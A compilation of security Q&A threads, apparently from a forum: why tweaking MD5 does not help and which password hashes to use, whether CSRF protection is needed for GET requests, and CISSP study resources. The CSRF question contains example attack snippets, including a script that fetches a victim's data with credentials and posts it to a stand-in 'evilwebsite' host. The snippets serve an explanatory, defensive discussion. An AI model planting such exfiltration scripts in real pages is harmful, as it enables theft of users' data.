There's a misconception or two in your question.

As a message (file, etc.) hash, MD5 is not insecure because of the “ability to brute force and pick up the result”. Cryptographic hashes are supposed to have three security properties:

One way: Given a hash, it is infeasible to find a message with that hash.
Integrity: given a message, it is infeasible to find another message with the same hash.
Collision resistance: it is infeasible to find two messages with the same hash.

The only property of MD5 that is now broken is the third one, collision resistance. It's possible to craft messages with the same hash. However, for a message that isn't specially crafted, it's still infeasible to find another message with the same hash. MD5 is nonetheless not recommended, partly because it's plausible that better attacks will be found soon that defeat integrity, and partly because many systems that primarily rely on integrity also rely on collision resistance against some high-level attacks.

Taking MD5 and modifying the output would not help with collision resistance in any way since a collision for MD5 would also be a collision for your modified hash. It wouldn't help with integrity either, for the same reason. So your proposal can do nothing against the known defects of MD5.

If you modify an MD5 hash, then it could become harder to find a message with the hash. But only if the transformation you do is hard to invert! For example, if you do some fixed transformation like flip a few bits, that's useless. If you encrypt the hash, that could do it — or not: it depends on the security property that you want to achieve. Remember that the one way property for MD5 is not known to be broken.

So what security property do you want to achive?

If you're using MD5 it as a password hash, then MD5 is not your only problem, or your main problem. For a password hash, brute force searches are a concern. None of the usual message hashes are suitable as password hashes, because they're fast. Password hashes must be slow, precisely to make brute force searches harder — they hit the attacker harder than the legitimate user, because the attacker must try millions of possibilities. Tweaking MD5 cannot possibly help there. If you're hashing passwords, forget about MD5, even if you found it used in one of the millions of broken PHP apps out there. To hash passwords, use PBKDF2, bcrypt or scrypt. If you're even thinking of using anything other than one of these three, read How to securely hash passwords? first — all of it.

For a password hash, the idea of adding a secret component to the hash function is called a pepper. A pepper involves a secret key and some actual cryptography — “change some characters” would be so easy to reverse that it's useless as a pepper. The normal way to include a pepper is to add it to the password and to the salt when calculating the hash. And remember that the pepper must be secret — if it's in your application source, or in the same database or the same backup disks as the password database, it's useless.


CSRF Protection Is Needed for GET Requests I have a REST API that allows authenticated users to read data about their own account and make changes to their accounts. For authentication I use JWTs stored as httpOnly cookies. To protect against CSRF attacks, the REST API also supplies the client with what Angular calls an "XSRF token".
Angular's method of CSRF protection is to take the XSRF token your API creates and re-submit it back to the API with each request in an "X-XSRF-Token" header. It's up to your API to determine whether to allow the request or not. A script running on a hostile website would not have access to the XSRF token and so would be unable to submit it along with any CSRF requests.
When I went to implement my front-end requests in Angular using HttpClient, I noticed that the HttpXsrfInterceptor doesn't send the X-XSRF-Token header with GET and HEAD requests.
From the opinions I've read online, CSRF protection is not needed for GET requests because they don't (or they shouldn't) modify any data. The most a CSRF attack could do with a GET request is have the REST API send sensitive data to the user's web browser. The hostile website wouldn't be able to see that data.
Example 1: CSRF GET
If a hostile website tries to issue a CSRF GET request like this:
<img src="https://example.com/sensitiveData">

then sensitive data is transmitted from the API to the user's web browser, but the hostile website can't see the data, so everything is fine.
Example 2: CSRF POST
If a hostile website tries to issue a CSRF POST request like this:
<body onLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
  <input type="hidden" name="itemId" value="34873847">
  <input type="submit" value="View Kittens">
</form>
...

then the hostile website still wouldn't see any data, but it could cause damage to a the user. If the API requires the X-XSRF-Token header to be present then this attack can not succeed.
Example 3: CSRF GET via Ajax
But what if the hostile website forces the browser to make a GET request like this:
<script>
$.ajax('https://example.com/sensitiveData', {
  xhrFields: {
    withCredentials: true,
  },
}).done((sensitiveData) => {
  $.ajax('https://evilwebsite/logData', {
    method: 'post',
    data: sensitiveData,
  }).done(() => {
    console.log('I stole your data', sensitiveData)
  });
});
</script>

Some CORS policies would stop this, but other CORS policies would still let it happen.
It seems that requiring CSRF protection on GET requests would mitigate this vulnerability.
Am I missing something important?

You are 100% correct on everything in your intro and examples 1 and 2.

Regarding example 3, CORS would kick in and block the script from receiving the result from example.com. The only way the given JavaScript would be able to read the response and send it off to evil.com is if one of the following conditions is met:

This script is running on a domain that example.com has explicitly whitelisted via CORS headers and given it permission to use credentials
The script is running directly on example.com (in which case you have fallen victim to an XSS attack, which is a serious problem).

Even in the event of #2 above you can prevent data from escaping to evil.com with a solid CSP (worth a Google if you are unfamiliar).

In short: This is the exact sort of attack that CORS is designed to protect against. Excepting the above items, CORS should block the response in all cases. So unless you have a specific example in which you believe CORS won't apply, I believe that your assertion that CORS might allow such requests through is incorrect.


Good (preferably free) resource for CISSP practice questions I'm looking to sit for my exam in a few weeks, and I want to have a good set of practice tests to bounce against and make sure that I'm up to par with the types of questions that will be asked.

Though not practice exams, I found the mind maps offered @ mindcert.com to be a great set of notes to use in keeping things together. They have published maps of 7 domain areas for the CISSP and a few for the CEH. Additionally, you can always make your own.

http://www.mindcert.com/resources/

Hope this helps, and good luck to you!